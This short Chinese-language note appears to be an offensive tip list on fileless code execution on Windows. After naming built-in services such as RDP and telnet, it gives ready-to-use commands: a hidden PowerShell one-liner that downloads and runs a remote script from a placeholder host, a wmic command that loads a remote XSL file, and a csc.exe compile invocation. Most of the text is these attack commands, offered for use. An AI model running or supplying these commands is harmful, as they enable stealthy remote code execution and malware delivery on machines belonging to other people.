最基础的就是windows自带服务
例如RDP。telnet。等等
之后再比如powershell:
powershell.exe -nop -whidden -c IEX ((new-objectnet.webclient).downloadstring('http://x.x.x.x:81/aa'))
wmic.exe:
cmd/c wmic os get /format:"\\x.x.x.x\1.xsl"&start/wait notepad
csc.exe:
"C:/Windows/Microsoft.NET/Framework64/v2.0.50727/csc.exe" /noconfig /fullpaths @"C:/Users/a/AppData/Local/Temp/l1xso2zu.cmdline"
等无落地方式执行